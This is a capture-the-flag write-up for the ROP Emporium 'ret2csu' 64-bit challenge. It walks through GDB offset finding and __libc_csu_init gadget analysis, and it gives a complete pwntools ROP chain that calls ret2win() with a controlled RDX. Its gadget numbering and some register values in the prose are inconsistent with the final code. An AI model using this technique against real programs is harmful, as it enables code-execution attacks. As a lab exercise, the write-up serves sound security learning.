ROP Emporium Challenge 7 - Ret2csu (64 bits)
Description: Call the ret2win() function, the caveat this time is that the third argument (which you know by now is stored in the rdx register on x86_64 Linux) must be 0xdeadcafebabebeef
ret2csu
Link: https://ropemporium.com/challenge/ret2csu.html
1. Calculating RIP overwrite offset
First, we check with GDB that the offset is still 40. It seems so given that with 41 characters we see only one “41” in RIP registry::
2. Studying the binary
Then we see the address of ret2win() is 0x4007b1:
We will also check that it is a dynamically compiled file and the GCC version used for compiling it:
Lastly we will execute objdump -x ret2csu to check the addresses of the writable areas:
3. Ret-2-csu
From here, it is not a programming error on the code that implements the ASLR, but a exploitation method that it is possible because of the “attached code” by the linker (…). The problem appears when an application is Dynamically compiled, which represents 99% of all applications. More precisely when the linker “attaches code” to the ELF executable that is not coming from the source code of the application.
So the idea is that some gadgets in _libc_csu_init(), included by the compiler, allow to control the registers RDI, RSI and RDX. This is very important because from the “callme” challenge we know that the arguments are pushed to the stack in the 32 bits architecture but stored in registers in the 64 bits one (source: the first argument is stored in RDI, the second in RSI and the third in RDX.
Gadget 1 in _libc_csu_init() allows to control RBX, RBP, R12, R13, R14 and R15 with a “pop; …; ret” gadget:
112a: 5b pop %rbx GADGET 1 # pop rbx
112b: 5d pop %rbp # pop rbp
112c: 41 5c pop %r12 # pop r12
112e: 41 5d pop %r13 # pop r13
1130: 41 5e pop %r14 # pop r14
1132: 41 5f pop %r15 # pop r15
1134: c3 retq # ret
Gadget 2 in _libc_csu_init() allows to control RDX, RSI and RDI. The last instruction is a call to the address contained in (R12 + (RBX * 8) ):
1110: 4c 89 ea mov %r13,%rdx GADGET 2 # mov rdx, r13
1113: 4c 89 f6 mov %r14,%rsi # mov rsi, r14
1116: 44 89 ff mov %r15d,%edi # mov edi, r15d
1119: 41 ff 14 dc callq *(%r12,%rbx,8) # call [r12 + rbx*8]
To find out if this is possible, first we will check if the function is really included in the binary using info functions in GDB:
Then, we will disassemble the _libc_csu_init() function using disassemble __libc_csu_init:
The output of this function is:
gef➤ disassemble __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000400840 <+0>: push r15
0x0000000000400842 <+2>: push r14
0x0000000000400844 <+4>: mov r15,rdx
0x0000000000400847 <+7>: push r13
0x0000000000400849 <+9>: push r12
0x000000000040084b <+11>: lea r12,[rip+0x2005be] # 0x600e10
0x0000000000400852 <+18>: push rbp
0x0000000000400853 <+19>: lea rbp,[rip+0x2005be] # 0x600e18
0x000000000040085a <+26>: push rbx
0x000000000040085b <+27>: mov r13d,edi
0x000000000040085e <+30>: mov r14,rsi
0x0000000000400861 <+33>: sub rbp,r12
0x0000000000400864 <+36>: sub rsp,0x8
0x0000000000400868 <+40>: sar rbp,0x3
0x000000000040086c <+44>: call 0x400560 <_init>
0x0000000000400871 <+49>: test rbp,rbp
0x0000000000400874 <+52>: je 0x400896 <__libc_csu_init+86>
0x0000000000400876 <+54>: xor ebx,ebx
0x0000000000400878 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400880 <+64>: mov rdx,r15
0x0000000000400883 <+67>: mov rsi,r14
0x0000000000400886 <+70>: mov edi,r13d
0x0000000000400889 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040088d <+77>: add rbx,0x1
0x0000000000400891 <+81>: cmp rbp,rbx
0x0000000000400894 <+84>: jne 0x400880 <__libc_csu_init+64>
0x0000000000400896 <+86>: add rsp,0x8
0x000000000040089a <+90>: pop rbx
0x000000000040089b <+91>: pop rbp
0x000000000040089c <+92>: pop r12
0x000000000040089e <+94>: pop r13
0x00000000004008a0 <+96>: pop r14
0x00000000004008a2 <+98>: pop r15
0x00000000004008a4 <+100>: ret
End of assembler dump.
We can see there are indeed 2 gadgets very similar to the ones in the Black Hat Asia 18 paper, but the registers R13 and R15 are swapped in the first gadget.
Gadget 1 (address 0x400880):
0x0000000000400880 <+64>: mov rdx,r15
0x0000000000400883 <+67>: mov rsi,r14
0x0000000000400886 <+70>: mov edi,r13d
0x0000000000400889 <+73>: call QWORD PTR [r12+rbx*8]
Gadget 2 (address 0x40089a):
0x000000000040089a <+90>: pop rbx
0x000000000040089b <+91>: pop rbp
0x000000000040089c <+92>: pop r12
0x000000000040089e <+94>: pop r13
0x00000000004008a0 <+96>: pop r14
0x00000000004008a2 <+98>: pop r15
With these, we can control RDX, RSI and RDI. We could also control RSI and RDI with typical “pop; ret” gadgets as in previous challenges ( 0x00000000004008a3 : pop rdi ; ret and 0x00000000004008a1 : pop rsi ; pop r15 ; ret) but we will try to avoid using them.
The only problem left is the call instruction in gadget 1, which calls the function in the address contained in (r12 + rbx * 8). We can set RBX to 0 using gadget 2, but we still need to write the address of ret2win() (0x4007b1) in a writable area and set R12 to that address. Nevertheless, there are not write-what-where primitives and functions such as “scanf()”, which allows us to write a value in memory, are not present in the binary.
We may try to find a string containing the “ret2win()”” address in memory, but there is not any:
As this is not possible, we will take a different approach. Using the gadget 2 we will set the values of R13, R14 and R15, which will help to set the values of RDX, RSI and RDI when calling the gadget 1, just as planned before. However, instead of calling “ret2win()”, we will make the gadget continue and when it finishes after the “ret”, send the “ret2win()” address so it gets executed (but now, with EDX value set to “0xdeadcafebabebeef”).
To get there, we need to:
-
Call to an existing function which does not change the content of RDX.
-
Make sure RBP and (RBX + 1) have the same values so the program does not jump to 0x400880 (jne 0x400880). As we want RBP to be 0 to make the calculation of (r12 + rbx * 8), we need the values RBP = 0 and RBX = 1.
-
Send 7 random values, one for “add rsp, 8” and one for every “pop reg” after it until getting to rhe “ret”.
For reference, we must now think of the gadget 1 as this:
0x000000000040089a <+90>: pop rbx <- 1 = rbp + 1
0x000000000040089b <+91>: pop rbp <- 0
0x000000000040089c <+92>: pop r12 <- Address containing address of existing function
0x000000000040089e <+94>: pop r13 <- garbage (RDI)
0x00000000004008a0 <+96>: pop r14 <- garbage (RSI)
0x00000000004008a2 <+98>: pop r15 <- 0xdeadcafebabebeef (RDX)
0x0000000000400880 <+64>: mov rdx,r15 <- 0xdeadcafebabebeef (RDX)
0x0000000000400883 <+67>: mov rsi,r14 <- garbage (RSI)
0x0000000000400886 <+70>: mov edi,r13d <- garbage (RDI)
0x0000000000400889 <+73>: call QWORD PTR [r12+rbx*8] <- Call to existing function
0x000000000040088d <+77>: add rbx,0x1
0x0000000000400891 <+81>: cmp rbp,rbx <- Check RBP = RBX + 1
0x0000000000400894 <+84>: jne 0x400880 <__libc_csu_init+64>
0x0000000000400896 <+86>: add rsp,0x8 <- garbage x1
0x000000000040089a <+90>: pop rbx <- garbage x2
0x000000000040089b <+91>: pop rbp <- garbage x3
0x000000000040089c <+92>: pop r12 <- garbage x4
0x000000000040089e <+94>: pop r13 <- garbage x5
0x00000000004008a0 <+96>: pop r14 <- garbage x6
0x00000000004008a2 <+98>: pop r15 <- garbage x7
0x00000000004008a4 <+100>: ret
Regarding the problem of the function to call which does not change the value of the register RDX, we will check the functions in the binary, disassemble each of them and try to find a string with their addresses with GDB:
We will disassemble them with disass function_name or disass function_address:
These functions’ addresses are not found when the binary is run, so we will discard them:
- 0x0000000000400590 puts@plt
- 0x00000000004005a0 system@plt
- 0x00000000004005b0 printf@plt
- 0x00000000004005c0 memset@plt
- 0x00000000004005d0 fgets@plt
- 0x00000000004005e0 setvbuf@plt
- 0x0000000000400620 _dl_relocate_static_pie
- 0x0000000000400630 deregister_tm_clones
- 0x0000000000400660 register_tm_clones
- 0x0000000000400714 pwnme
- 0x00000000004007b1 ret2win
However, these function addresses are found. We will disassemble them and see which ones affect the register RDX and which do not:
- 0x0000000000400560 _init - It does NOT change the value of RDX
- 0x00000000004005f0 _start - It changes the value of RDX
- 0x00000000004006a0 __do_global_dtors_aux - It does NOT change the value of RDX
- 0x00000000004006d0 frame_dummy - It does NOT change the value of RDX
- 0x00000000004006d7 main - It changes the value of RDX
- 0x0000000000400840 __libc_csu_init - It changes the value of RDX
- 0x00000000004008b0 __libc_csu_fini - It does not change the value of RDX but breaks the logic of the exploit
- 0x00000000004008b4 _fini - It does NOT change the value of RDX
Next, we must search for the strings using grep “function_address” after setting a breakpoint in main() function with break main and running the program:
We can find the string containing the address of the 4 functions we are interested in twice once the program is running:
-
_init - String “0x400560” can be found in “0x400e38” and “0x600e38”
-
__do_global_dtors_aux - String “0x4006a0” can be found in “0x400e18” and “0x600e18”
-
frame_dummy - String “0x4006d0” can be found in “0x400e10” and “0x600e10”
-
_fini - String “0x4008b4” can be found in “0x400e48” and “0x600e48”
4. Final exploit
The ROP code will be then:
ret2win = elf.sym["ret2win"] # 0x4007b1
gadget_1 = 0x400880
gadget_2 = 0x40089a
function_call = 0x400e48
garbage = 0xcaca
third_argument = 0xdeadcafebabebeef
rop = "A"*40
# GADGET 2
rop += p64(gadget_2)
rop += p64(0)
rop += p64(0x1)
rop += p64(function_call) # r12 = Register containing the address of .fini
rop += p64(garbage) # r13 = rdi
rop += p64(garbage) # r14 = rsi
rop += p64(third_argument) # r15 = rdx
# GADGET 1
rop += p64(gadget_1)
rop += p64(garbage) # add rsp, 8
rop += p64(garbage) # pop rbx
rop += p64(garbage) # pop rbp
rop += p64(garbage) # pop r12
rop += p64(garbage) # pop r13
rop += p64(garbage) # pop r14
rop += p64(garbage) # pop r15
rop += p64(ret2win)
received = p.recvuntil("> ")
p.sendline(rop)
p.interactive()
We can execute it and it works correctly:
References:
-
https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
-
https://bananamafia.dev/post/x64-rop-redpwn/